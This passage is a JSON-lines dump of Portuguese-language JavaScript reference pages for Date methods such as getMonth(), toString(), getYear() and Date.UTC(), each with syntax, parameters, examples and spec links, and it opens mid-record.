`Date.prototype.setMilliseconds()`"}
{"title":"Date.prototype[@@toPrimitive] - JavaScript","text":"Date.prototype[@@toPrimitive]\n=============================\n\nO método **`[@@toPrimitive]()`** converte o objeto `Date` para um valor primitivo.\n\nSintaxe\n-------\n```\n\nDate()[Symbol.toPrimitive](hint);\n```\n\n### Valor de retorno\n\nO valor primitivo do objeto `Date`. Dependendo do argumento, o método pode retornar uma cadeia de caracteres (*string*) ou um número.\n\nDescrição\n---------\n\nO método `[@@toPrimitive]()` do objeto `Date` retorna um valor primitivo, que pode ser tanto um tipo numérico quanto uma string.\n\nSe `hint` é `\"string\"` ou `\"default\"`, `[@@toPrimitive]()` tenta chamar o método `toString`. Se a propriedade `toString` não existe, ele tenta chamar o método `valueOf` e se o `valueOf` não existir, `[@@toPrimitive]()` joga um `TypeError`.\n\nSe `hint` é `\"number\"`, `[@@toPrimitive]()` tenta primeiro chamar `valueOf`, e se ele falha, chama `toString`.\n\nO JavaScript chama o método `[@@toPrimitive]()` para converter um objeto para um valor primitivo. Você raramente precisa invocar o método `[@@toPrimitive]()` em si; JavaScript automaticamente o invoca quando encontra um objeto onde um valor primitivo é esperado.\n\nExemplos\n--------\n\n### Retornando primitivos de data\n\n\n```js\nconst testDate = new Date(1590757517834);\n// \"Date Fri May 29 2020 14:05:17 GMT+0100 (British Summer Time)\"\n\ntestDate[Symbol.toPrimitive](\"string\");\n// Returns \"Date Fri May 29 2020 14:05:17 GMT+0100 (British Summer Time)\"\n\ntestDate[Symbol.toPrimitive](\"number\");\n// Returns \"1590757517834\"\n\ntestDate[Symbol.toPrimitive](\"default\");\n// Returns \"Date Fri May 29 2020 14:05:17 GMT+0100 (British Summer Time)\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype-@@toprimitive |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.toPrimitive`"}
{"title":"Date.prototype.getMonth() - JavaScript","text":"Date.prototype.getMonth()\n=========================\n\nO método **`getMonth()`** retorna o mês na data especificada de acordo com o horário local, como um valor zero-based (onde o zero indica o primeiro mês do ano).\n\nSintaxe\n-------\n```\n\ndateObj.getMonth()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorno\n\nO valor retornado pelo método `getMonth()` é um inteiro entre 0 e 11. 0 corresponde a Janeiro, 1 a Fevereiro, e assim sucessivamente.\n\nExemplos\n--------\n\n### Usando o `getMonth()`\n\nA segunda declaração abaixo atribui o valor 11 à variavel `month`, baseado no valor do objeto `Date` `Xmas95`.\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995 23:15:30\");\nvar month = Xmas95.getMonth();\n\nconsole.log(month); // 11\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getmonth |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCMonth()`\n* `Date.prototype.setMonth()`"}
{"title":"Date.prototype.setUTCSeconds() - JavaScript","text":"Date.prototype.setUTCSeconds()\n==============================\n\nO método **`setUTCSeconds()`** atribui os segundos para a data especificada de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCSeconds(secondsValue[, msValue])\n```\n\n### Parâmetros\n\n`secondsValue`\n\nUm inteiro entre 0 e 59, representando os segundos.\n\n`msValue`\n\nOpcional. Um número entre 0 e 999, representando os milissegundos.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especifica o parâmetro `msValue`, o valor retornado pelo método `getUTCMilliseconds()` é utilizado.\n\nSe o parâmetro que você especificou está fora do alcance esperado, `setUTCSeconds()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usar 100 para `secondsValue`, os minutos guardados no objeto `Date` irá ser incrementado em 1, e 40 será usado para os segundos.\n\nExemplos\n--------\n\n### Usando `setUTCSeconds()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCSeconds(20);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutcseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCSeconds()`\n* `Date.prototype.setSeconds()`"}
{"title":"Date.prototype.getUTCHours() - JavaScript","text":"Date.prototype.getUTCHours()\n============================\n\nO método **`getUTCHours()`** retorna o número de horas na data especificada de acordo com o horário universal (UTC).Experimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.getUTCHours()\n```\n\n### Valor retornado\n\nUm número inteiro, entre 0 e 23, representando as horas em uma data de acordo com o horário universal (UTC).\n\nExemplos\n--------\n\n### Usando `getUTCHours()`\n\nO exemplo a seguir atribui a porção de horas do horário corrente à variável `hours`.\n\n\n```js\nvar today = new Date();\nvar hours = today.getUTCHours();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutchours |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getHours()`\n* `Date.prototype.setUTCHours()`"}
{"title":"Date.prototype.getSeconds() - JavaScript","text":"Date.prototype.getSeconds()\n===========================\n\nO método **`getSeconds()`** retorna os segundos de uma data específica de acordo com o horário local.\n\nSintaxe\n-------\n```\n\ndateObj.getSeconds()\n```\n\n### Retorna\n\nUm número inteiro, entre 0 e 59, representando os segundos de uma data específica de acordo com o horário local.\n\nExemples\n--------\n\n### Usando o `getSeconds()`\n\nThe second statement below assigns the value 30 to the variable `seconds`, based on the value of the `Date` object `Xmas95`.\n\nNo exemplo a seguir, a segunda linha atribui o valor 30 à variável `seconds`, baseado no valor do objeto `Date` `Xmas95`.\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995 23:15:30\");\nvar seconds = Xmas95.getSeconds();\n\nconsole.log(seconds); // 30\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCSeconds()`\n* `Date.prototype.setSeconds()`"}
{"title":"Date.prototype.toJSON() - JavaScript","text":"Date.prototype.toJSON()\n=======================\n\nO método **`toJSON()`** retorna uma representação representation do objeto `Date` como string.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.toJSON()\n```\n\n### Retorno\n\nUma representação da data como string.\n\nDescrição\n---------\n\nInstâncias de `Date` referem-se a um específico ponto no tempo. Invocar `toJSON()` retorna uma string (usando `toISOString()`) representando o valor do objeto `Date`. Por padrão este método é destinado a serializar objetos `Date` em serializações JSON.\n\nExemplos\n--------\n\n### Usando `toJSON()`\n\n\n```js\nvar jsonDate = new Date().toJSON();\nvar backToDate = new Date(jsonDate);\n\nconsole.log(jsonDate); //2015-10-26T07:46:36.611Z\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.tojson |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.toLocaleDateString()`\n* `Date.prototype.toTimeString()`\n* `Date.prototype.toUTCString()`"}
{"title":"Date.prototype.setUTCFullYear() - JavaScript","text":"Date.prototype.setUTCFullYear()\n===============================\n\nO método **`setUTCFullYear()`** atribui o ano completo na data especificada de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCFullYear(yearValue[, monthValue[, dayValue]])\n```\n\n### Parâmetros\n\n`yearValue`\n\nUm inteiro especificando o valor numérico do ano, por exemplo, 1995.\n\n`monthValue`\n\nOpcional. Um inteiro entre 0 e 11 representando os meses Janeiro até Dezembro.\n\n`dayValue`\n\nOpcional. Um inteiro entre 1 e 31 representando o dia do mês. Se você especificar o parâmetro `dayValue`, vocẽ deve especificar `monthValue` também.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especificar os parâmetros `monthValue` e `dayValue`, os valores retornados dos métodos `getUTCMonth()` e `getUTCDate()` serão utilizados.\n\nSe um parâmetro que você especificou está fora do alcance esperado, `setUTCFullYear()` tentará atualizar os outros parâmetros e a informação da data no objeto `Date`. Por exemplo, se você especificar 15 para o `monthValue`, o ano será incrementado em 1 (`yearValue + 1`), e 3 será usado para o mês.\n\nExemplos\n--------\n\n### Usando `setUTCFullYear()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCFullYear(1997);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutcfullyear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCFullYear()`\n* `Date.prototype.setFullYear()`"}
{"title":"Date.prototype.setTime() - JavaScript","text":"Date.prototype.setTime()\n========================\n\nO método **`setTime()`** atribui ao objecto `Date` a hora representada pelo número de milisegundos desde 1 de janeiro de 1970 as 00:00:00 UTC.Experimente\n-----------\n\nSintáxe\n-------\n```\n\ndateObj.setTime(timeValue)\n```\n\n### Parâmetros\n\n`timeValue`\n\nUm inteiro representando o número de milisegundos desde 1 de janeiro 1970, 00:00:00 UTC.\n\n### Valor retornado\n\nO número de milisegundos entre 1 de janeiro de 1970 00:00:00 UTC e a data atualizada (efetivamente, o valor do argumento).\n\nDescrição\n---------\n\nUse o método `setTime()` para ajudar a atribuir data e hora para outro objeto `Date`.\n\nExemplos\n--------\n\n### Usando `setTime()`\n\n\n```js\nvar theBigDay = new Date(\"July 1, 1999\");\nvar sameAsBigDay = new Date();\nsameAsBigDay.setTime(theBigDay.getTime());\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.settime |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getTime()`\n* `Date.prototype.setUTCHours()`"}
{"title":"Date.prototype.toString() - JavaScript","text":"Date.prototype.toString()\n=========================\n\nO método **`toString()`** retorna uma cadeia de caracteres (*string*) representando o objeto `Date` especificado.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.toString()\n```\n\n### Valor de retorno\n\nUma *string* representando a data.\n\nDescrição\n---------\n\nInstâncias de `Date` herdam o método `toString()` de `Date.prototype` (en-US), não `Object.prototype` (en-US). `Date.prototype.toString()` retorna uma *string* com a representação de Date no formato especificado na ECMA-262 que pode ser resumida como:\n\n* Dia da semana: 3 letras do nome do dia da semana em Inglês, e.g. \"Sat\"\n* espaço\n* Nome do mês: 3 letras do nome do mês em Inglês, e.g. \"Sep\"\n* espaço\n* Dia: Dia do mês em 2 dígitos, e.g. \"01\"\n* espaço\n* Ano: Ano no formato de 4 dígitos, e.g. \"2018\"\n* espaço\n* Hora: Hora do dia em 2 dígitos, e.g. \"14\"\n* dois-pontos\n* Minuto: Minutos da hora em 2 dígitos, e.g. \"53\"\n* dois-pontos\n* Segundos: Segundos do minuto em 2 dígitos, e.g. \"26\"\n* espaço\n* A *string* \"GMT\"\n* Sinal do deslocamento do fuso horário, pode ser:\n    + \"+\" para deslocamentos positivos (0 ou maior)\n    + \"-\" para deslocamentos negativos (menores que 0)\n* Dois dígitos da hora do deslocamento, e.g. \"14\"\n* Dois dígitos dos minutos do deslocamento, e.g. \"00\"\n* Opcionalmente, um nome de fuso horário consistindo de:\n    + espaço\n    + parênteses esquerdo, i.e. \"(\"\n    + Uma representação de *string* dependente da implementação do fuso horário, que pode ser uma abreviação ou o nome completo (não há um padrão para nomes ou abreviação de fusos horários), e.g. \"Line Islands Time\" ou \"LINT\"\n    + parênteses direito, i.e. \")\"\n\nE.g. \"Sat Sep 01 2018 14:53:26 GMT+1400 (LINT)\"\n\nAté o ECMAScript 2018 (edição 9), o formato da *string* retornada pelo `Date.prototype.toString` era dependente da implementação. Portanto, não se deve confiar que ela está no formato especificado.\n\nO método `toString()` é automaticamente chamado quando a data deve ser representada como texto, e.g. `console.log(new Date())`, ou quando a data é utilizada em uma concatenação de *string*, como `var today = 'Today is ' + new Date()`.\n\n`toString()` é um método genérico, ele não requer que seu `this` seja uma instância de `Date`. Entretanto, ele deve ter uma propriedade interna `[[TimeValue]]` que não pode ser construída usando JavaScript nativo, então ela é efetivamente limitada a ser usada com instâncias `Date`. Se chamado em uma instância que não seja Date, um `TypeError` é jogado.\n\nExemplos\n--------\n\n### Usando `toString()`\n\nO exemplo asseguir atribui o valor de `toString()` de um objeto `Date` para `myVar`:\n\n\n```js\nvar x = new Date();\nvar myVar = x.toString(); // atribui uma string em myVar no mesmo formato que este:\n// Mon Sep 08 1998 14:36:22 GMT-0700 (PDT)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.tostring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toString()`\n* `Date.prototype.toDateString()`\n* `Date.prototype.toLocaleString()` (en-US)\n* `Date.prototype.toTimeString()`"}
{"title":"Date.prototype.setHours() - JavaScript","text":"Date.prototype.setHours()\n=========================\n\nO método **`setHours()`** atribui as horas para uma data especificada de acordo com a hora local e retorna o número de milissegundos desde do dia 1 de Janeiro de 1970 00:00:00 UTC até o tempo representado pela instância `Date` atualizada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setHours(hoursValue[, minutesValue[, secondsValue[, msValue]]])\n```\n\n### Versões anteriores ao JavaScript 1.3\n```\n\ndateObj.setHours(hoursValue)\n```\n\n### Parâmetros\n\n`hoursValue`\n\nIdealmente, um número inteiro entre 0 e 23, representando a hora. Se um valor maior que 23 for fornecido, a data e hora será incrementada pelas horas extras.\n\n`minutesValue`\n\nOpcional. Idealmente, um número inteiro entre 0 e 59, representando os minutos. Se um valor maior que 59 for fornecido, a data e hora será incrementada em minutos extras.\n\n`secondsValue`\n\nOpcional. Idealmente, um número inteiro entre 0 e 59, representando os segundos. Se um valor maior que 59 for fornecido, a data e hora será incrementada em segundos extras. Se você especificar o parâmetro `secondsValue`, também deverá especificar parâmetro `minutesValue`.\n\n`msValue`\n\nOpcional. Idealmente, um número entre 0 e 999, representando os milissegundos. Se um valor maior que 999 for fornecido, a data e hora será incrementada em milissegundos extras. Se você especificar o parâmetro `msValue`, você também deve especificar `minutesValue` e `secondsValue`.\n\n### Valor de retorno\n\nO número de milissegundos entre dia 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especifica os parâmetros `minutesValue`, `secondsValue`, e `msValue`, os valores retornados dos métodos `getMinutes()`, `getSeconds()`, e `getMilliseconds()` são usados.\n\nSe um parâmetro que você especificar estiver fora do intervalo esperado, `setHours()` tenta atualizar as informações de data no objeto `Date`. Por exemplo, se você usa 100 para `secondsValue`, os minutos serão incrementados em 1 (`minutesValue + 1`), e 40 serão usados para os segundos.\n\nExemplos\n--------\n\n### Usando `setHours()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setHours(7);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.sethours |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getHours()`\n* `Date.prototype.setUTCHours()`"}
{"title":"Date.prototype.getYear() - JavaScript","text":"Date.prototype.getYear()\n========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nResumo\n------\n\nO método **`getYear()`** retorna o ano especificado pela data de acordo com a hora local. Por conta do fato de que `getYear()` não retorna anos completos (\"problema do ano 2000\"), este método não é mais utilizado e foi substituido pelo método `getFullYear()`.\n\nSintaxe\n-------\n```\n\ndateObj.getYear()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorna\n\nO método `getYear()` retorna o ano menos 1900; então:\n\n* Para ano maior ou igual a 2000, o valor retornado por `getYear()` é 100 ou mais. Por exemplo, se o ano for 2026, `getYear()` retorna 126.\n* Para ano entre e incluindo 1900 e 1999, o valor retornado por `getYear()` é entre 0 e 99. Por exemplo, se o anor for 1976, `getYear()` retorna 76.\n* Para ano menor que 1900, o valor retornado por `getYear()` é menor que 0. Por exemplo, se o ano for 1800, `getYear()` retorna -100.\n\nPara levar em consideração anos antes e depois de 2000, você deve utilizar `getFullYear()` ao invés de `getYear()` para que o ano seja especificado por completo.\n\nRetrocombatibilidade\n--------------------\n\n### Comportamento em JavaScript 1.2 e anteriores\n\nO método `getYear()` retorna um ano de 2 ou 4 dígitos:\n\n* Para anos entre e incluindo 1900 e 1999, o valor retornado por `getYear()` é o ano menos 1900. Por exemplo, se o ano é 1976, o valor retornado é 76.\n* Para anos menores que 1900 ou maiores que 1999, o valor retornado por `getYear()` é um ano de 4 dígitos. Por exemplo, se o ano é 1856, o valor retornado é 1856. Se o ano é 2026, o valor retornado é 2026.\nExemplos\n--------\n\n### Exemplo: Anos entre 1900 e 1999\n\nO segundo statement atribui o valor 95 à variável `year`.\n\n\n```js\nvar Xmas = new Date(\"December 25, 1995 23:15:00\");\nvar year = Xmas.getYear(); // returns 95\n```\n\n### Exemplo: Anos depois de 1999\n\nO segundo statement atribui o valor 100 à variável `year`.\n\n\n```js\nvar Xmas = new Date(\"December 25, 2000 23:15:00\");\nvar year = Xmas.getYear(); // returns 100\n```\n\n### Exemplo: Anos antes de 1900\n\nO segundo statement atribui o valor -100 à variável `year`.\n\n\n```js\nvar Xmas = new Date(\"December 25, 1800 23:15:00\");\nvar year = Xmas.getYear(); // returns -100\n```\n\n### Exemplo: Setando e recuperando um ano entre 1900 e 1999\n\nO segundo statement atribui o valor 95 à variável `year`, representanto o ano 1995.\n\n\n```js\nvar Xmas.setYear(95);\nvar year = Xmas.getYear(); // returns 95\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getyear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getFullYear()`\n* `Date.prototype.getUTCFullYear()`\n* `Date.prototype.setYear()`"}
{"title":"Date.prototype.setUTCMinutes() - JavaScript","text":"Date.prototype.setUTCMinutes()\n==============================\n\nO método **`setUTCMinutes()`** atribui os minutos para uma data específica de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCMinutes(minutesValue[, secondsValue[, msValue]])\n```\n\n### Parâmetros\n\n`minutesValue`\n\nUm inteiro entre 0 e 59, representando os minutos.\n\n`secondsValue`\n\nOpcional. Um inteiro entre 0 e 59, reprensentando os segundos. Se vocẽ especificar o parâmetro `secondsValue`, você também deve especificar `minutesValue`.\n\n`msValue`\n\nOpcional. Um número entre 0 e 999, representando os milissegundos. Se você especificar o parâmetro `msValue`, você também deve especificar `minutesValue` e `secondsValue`.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe vocẽ não especificar os parâmetros `secondsValue` e `msValue`, os valores retornados dos métodos `getUTCSeconds()` e `getUTCMilliseconds()` são utilizados.\n\nSe o parâmetro que você especificou estiver fora do alcance esperado, `setUTCMinutes()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usar 100 para `secondsValue`, os minutos serão incrementados em 1 (`minutesValue + 1`), e 40 será usado para os segundos.\n\nExemplos\n--------\n\n### Usando `setUTCMinutes()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCMinutes(43);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutcminutes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCMinutes()`\n* `Date.prototype.setMinutes()`"}
{"title":"Date.prototype.setYear() - JavaScript","text":"Date.prototype.setYear()\n========================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nO método **`setYear()`** atribui o ano para a data especificada de acordo com o horário local. Devido `setYear()` não colocar o anos cheios (\"problema do ano 2000\"), ele não é mais utilizado e foi substituído pelo método `setFullYear()`.\n\nSintaxe\n-------\n```\n\ndateObj.setYear(yearValue)\n```\n\n### Parâmetros\n\n`yearValue`\n\nUm inteiro.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe `yearValue` é um número entre 0 e 99 (inclusivo), então o ano para `dateObj` é atribuido para `1900 + yearValue`. Caso contrário, o ano para `dateObj` é atribuido para `yearValue`.\n\nExemplos\n--------\n\n### Usando `setYear()`\n\nAs duas primeiras linhas atribuem o ano para 1996. O terceiro atribui o ano para 2000.\n\n\n```js\nvar theBigDay = new Date();\n\ntheBigDay.setYear(96);\ntheBigDay.setYear(1996);\ntheBigDay.setYear(2000);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setyear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getFullYear()`\n* `Date.prototype.getUTCFullYear()`\n* `Date.prototype.setFullYear()`\n* `Date.prototype.setUTCFullYear()`"}
{"title":"Date.UTC() - JavaScript","text":"Date.UTC()\n==========\n\nO método **`Date.UTC()`** aceita os mesmos parâmetros que o construtor mais longo de **`Date`** e retorna o total de milisegundos desde 1º de Janeiro de 1970 às 00:00:00 (horário universal). O valor retornado por **`Date.UTC()`** pode ser usado como parâmetro para criar uma instância de `Date`.\n\nSintaxe\n-------\n```\n\nDate.UTC(ano, mês[, dia[, hora[, minuto[, segundo[, milisegundo]]]]])\n```\n\n### Parâmetros\n\n`ano`\n\nUm valor inteiro representando o ano, após 1970.\n\n`mês`\n\nUm valor inteiro que representa o mês, começando com 0 para Janeiro até 11 para Dezembro.\n\n`dia`\n\nOpcional. Um valor inteiro entre 1 e 31 representando o dia do mês.\n\n`hora`\n\nOpcional. Um valor inteiro entre 0 e 23 representando a hora do dia.\n\n`minuto`\n\nOpcional. Um valor entre 0 e 59 representando os minutos.\n\n`segundo`\n\nOpcional. Um valor entre 0 e 59 representando os segundos.\n\n`milisegundo`\n\nOpcional. Um valor entre 0 e 999 representando os milisegundos.\n\nDescrição\n---------\n\n**`UTC()`** recebe argumentos de uma data separados por vírgula e retorna um número representando o total de milisegundos entre o dia 1º de Janeiro de 1970 às 00:00:00 (horário universal) e a data e hora que você especificou.\n\nVocê deve especificar o ano completo para o argumento ano. Por exemplo, 1998. Se o ano fornecido for um valor entre 0 e 99 o método irá converter este valor para o século 20 (1900 + ano); Por exemplo, se você utilizar 95, então o ano 1995 será utilizado.\n\nO método `UTC()` se diferencia do construtor de `Date` de duas maneiras:\n\n* `Date.UTC()` utiliza o horário universal em vez do horário local.\n* `Date.UTC()` retorna um valor inteiro em vez de uma instância de `Date`.\n\nSe você fornecer um argumento fora do intervalo esperado, o método UTC() atualiza os demais argumentos para permitir este valor. Por exemplo, se você utilizar 15 para mês, será adicionado 1 ao argumento ano (ano + 1) e será utilizado 3 para o argumento mês.\n\n`UTC()` é um método estático, por conta disto você sempre irá chamar `Date.UTC()` em vez de chamar um método de um objeto `Date` que você tenha criado.\n\nExemplos\n--------\n\n### Utilizando `Date.UTC()`\n\nA seguinte expressão cria uma instância de `Date` utilizando UTC em vez do horário local:\n```\n\nvar dataUniversal = new Date(Date.UTC(96, 11, 1, 0, 0, 0));\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.utc |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `Date.parse()`"}
{"title":"Date.prototype.setSeconds() - JavaScript","text":"Date.prototype.setSeconds()\n===========================\n\nO método **`setSeconds()`** atribui os segundos na data especificada de acordo com o tempo local.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setSeconds(secondsValue[, msValue])\n```\n\n### Versões anteriores ao JavaScript 1.3\n```\n\ndateObj.setSeconds(secondsValue)\n```\n\n### Parâmetros\n\n`secondsValue`\n\nUm inteiro entre 0 e 59, representando os segundos.\n\n`msValue`\n\nOpcional. Um número entre 0 e 999, representando os milissegundos.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especifica o parâmetro `msValue`, o valor retornado do método `getMilliseconds()` é utilizado.\n\nSe um parâmetro que você especificou está fora do alcance esperado, `setSeconds()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usar 100 para `secondsValue`, os minutos guardados no objeto `Date` serão incrementados em 1, e 40 serão usados para os segundos.\n\nExemplos\n--------\n\n### Usando `setSeconds()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setSeconds(30);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getSeconds()`\n* `Date.prototype.setUTCSeconds()`"}
{"title":"Date.prototype.getUTCMonth() - JavaScript","text":"Date.prototype.getUTCMonth()\n============================\n\nA função **`getUTCMonth()`** retorna o mês da data especificada de acordo com o horário universal, como um valor iniciado em zero (aonde zero indica o primeiro mês do ano).\n\nSintaxe\n-------\n```\n\ndateObj.getUTCMonth()\n```\n\n### Valor retornado\n\nUm número inteiro, entre 0 e 11, correspondente ao mês da data informada de acordo com o horário universal. 0 para Janeiro, 1 para Fevereiro, 2 para Março, e assim em diante.\n\nExemplos\n--------\n\n### Usando `getUTCMonth()`\n\nO exemplo a seguir atribui a parte do mês da data atual a variável `month`.\n\n\n```js\nvar today = new Date();\nvar month = today.getUTCMonth();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcmonth |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getMonth()`\n* `Date.prototype.setUTCMonth()`"}
{"title":"Date.prototype.setFullYear() - JavaScript","text":"Date.prototype.setFullYear()\n============================\n\nO método **`setFullYear()`** atribui o ano completo para a data especificada de acordo com o horário universal (UTC). Retorna uma nova data e hora.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setFullYear(yearValue[, monthValue[, dateValue]])\n```\n\n### Parâmetros\n\n`yearValue`\n\nUm inteiro especificando o valor número de um ano, por exemplo, 1995.\n\n`monthValue`\n\nOpcional. Um inteiro entre 0 e 11 representando os meses Janeiro até Dezembro.\n\n`dateValue`\n\nOpcional. Um inteiro entre 1 e 31 representando o dia do mês. Se você especificar o parâmetro `dateValue`, você deve também especificar `monthValue`.\n\n### Valor retornado\n\nO número de milisegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especificar os parâmetros `monthValue` e `dateValue`, os valores retornados dos métodos `getMonth()` e `getDate()` são usados.\n\nSe um parâmetro que você especificou está fora do alcance esperado, `setFullYear()` tenta atualizar os outros parâmetros e a informação de data no objeto `Date` adequadamente. Por exemplo, se você especificar 15 para o `monthValue`, o ano será incrementado em 1 (`yearValue + 1`), e 3 é usado para o mês.\n\nExemplos\n--------\n\n### Usando `setFullYear()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setFullYear(1997);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setfullyear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCFullYear()`\n* `Date.prototype.setUTCFullYear()`\n* `Date.prototype.setYear()`"}
